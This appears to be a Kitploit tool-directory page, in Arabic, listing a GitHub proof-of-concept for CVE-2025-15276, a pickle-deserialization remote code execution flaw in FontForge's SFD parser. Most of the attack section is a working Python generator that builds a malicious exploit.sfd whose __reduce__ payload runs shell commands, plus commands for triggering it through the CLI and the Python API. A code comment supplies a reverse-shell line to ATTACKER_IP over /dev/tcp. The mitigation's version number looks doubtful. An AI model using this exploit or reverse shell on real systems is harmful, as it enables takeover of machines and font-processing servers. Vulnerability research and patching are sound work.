Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-15276-poc — إثبات المفهوم لـ CVE-2025-15276 - FontForge ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل بيانات غير موثوقة أثناء تحليل ملفات SFD | Kitploit
أدوات/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمأداة الوصول عن بعداستغلال الملفات الثنائية
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

إثبات المفهوم لـ CVE-2025-15276 - FontForge ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل بيانات غير موثوقة أثناء تحليل ملفات SFD

عرض المستودع
23منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-15276: FontForge SFD PickledData إلغاء تسلسل غير آمن (RCE)

إخلاء مسؤولية

إثبات المفهوم (PoC) هذا مخصص للأغراض التعليمية والتدقيق الأمني فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن صريح قبل إجراء اختبار أمني على أي نظام.


نظرة عامة على الثغرة

CVE-2025-15276 هي ثغرة حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد (RCE) في FontForge (الإصدارات حتى 20230101 شاملة). العيب موجود في تحليل تنسيق قاعدة بيانات خطوط Spline (.sfd)، وتحديدًا داخل حقل PickledData.

تفاصيل تقنية

يسمح تنسيق SFD الخاص بـ FontForge بتخزين قواميس Python الثابتة باستخدام الكلمة المفتاحية PickledData. عند تحميل خط، يستخرج FontForge هذه السلسلة ويمررها مباشرة إلى دالة pickle.loads() في Python (أو روتين إلغاء تسلسل داخلي مكافئ) دون أي تطهير أو عزل.

نظرًا لأن وحدة pickle في Python غير آمنة بطبيعتها وتسمح بإعادة بناء كائنات عشوائية، يمكن للمهاجم استخدام طريقة __reduce__ لتنفيذ أوامر نظام تعسفية بصلاحيات المستخدم الذي يقوم بتشغيل FontForge.


خطوات إعادة الإنتاج

1. المتطلبات

  • FontForge ضعيف: الإصدار 20230101 أو أقدم.
  • Python 3.x: لإنشاء الحمولة الضارة.

2. إنشاء ملف SFD ضار

استخدم السكربت Python التالي (gen_poc.py) لإنشاء ملف exploit.sfd. تم تكوين إثبات المفهوم هذا لإنشاء ملف في /tmp/pwned كمؤشر آمن على الاختراق (IoC).

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. تفعيل الثغرة

يمكن تفعيل الثغرة ببساطة عن طريق فتح الملف باستخدام FontForge.

الخيار A: التحميل عبر واجهة المستخدم الرسومية القياسية / CLI

root@kitploit:~
fontforge exploit.sfd

الخيار B: واجهة السكربت Python (شائعة في خطوط الأنابيب الآلية)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. التحقق

تحقق من تنفيذ الأمر:

root@kitploit:~
ls -l /tmp/pwned

التأثير في البيئات الآلية

هذه الثغرة خطيرة بشكل خاص في خطوط أنابيب معالجة الخطوط (على سبيل المثال، محولات الخطوط المستندة إلى الويب أو سكريبتات التحقق الآلي) التي تستخدم FontForge في الخلفية لمعالجة الملفات التي رفعها المستخدمون. إذا كان السكربت الخلفي يستدعي fontforge.open() على ملف .sfd غير موثوق، فإن المهاجم يتحكم بالكامل في خادم المعالجة.


التخفيف

  1. تحديث FontForge: الترقية إلى أحدث إصدار (v78.1.1 أو أحدث)، حيث تم إصلاح أو تقييد مسارات إلغاء التسلسل غير الآمن هذه.
  2. تطهير المدخلات: إذا كنت تقوم ببناء أدوات باستخدام واجهة برمجة تطبيقات FontForge، فتحقق بدقة من تنسيق الملف قبل المعالجة ولا تسمح أبدًا بمعالجة ملفات .sfd من مصادر غير موثوقة.
  3. العزل: تشغيل مهام معالجة الخطوط داخل حاوية ذات صلاحيات منخفضة (مثل Docker) أو صندوق حماية مقيد للحد من تأثير الاختراق المحتمل.

المراجع

  • CVE-2025-15276 NVD Entry
  • Zero Day Initiative (ZDI) Report
  • FontForge GitHub Repository
تنزيل الأداة